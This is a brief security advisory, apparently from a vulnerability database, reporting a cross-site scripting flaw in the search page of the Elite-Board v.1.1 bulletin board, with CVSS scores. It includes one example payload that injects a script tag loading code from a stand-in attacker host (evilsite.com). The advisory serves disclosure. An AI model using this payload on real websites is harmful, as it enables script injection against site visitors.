Bulletin Board Elite-Board v.1.1

2006.05.31
Risk: Low
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Bulletin Board Elite-Board v.1.1 Homepage: http://eng.e-board.net.ru/about/ Description: Multipurpose multifunctional public bulletin board for your website. Easy to install and to use. Has all possible scripts functions of the same type and does not need additional modules and database. It works on any hosting. Effected files: search.html Exploits & VUln: Example of XSS attack by submitting malicious in search box: '';!--"<XSS>=&{()}'';!--"<XSS>=&{()}<SCRIPT SRC=http://www.evilsite.com/xss.js></SCRIPT>'';!--"<XSS>=&{()}'';!--"<XS S>=&{()}


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top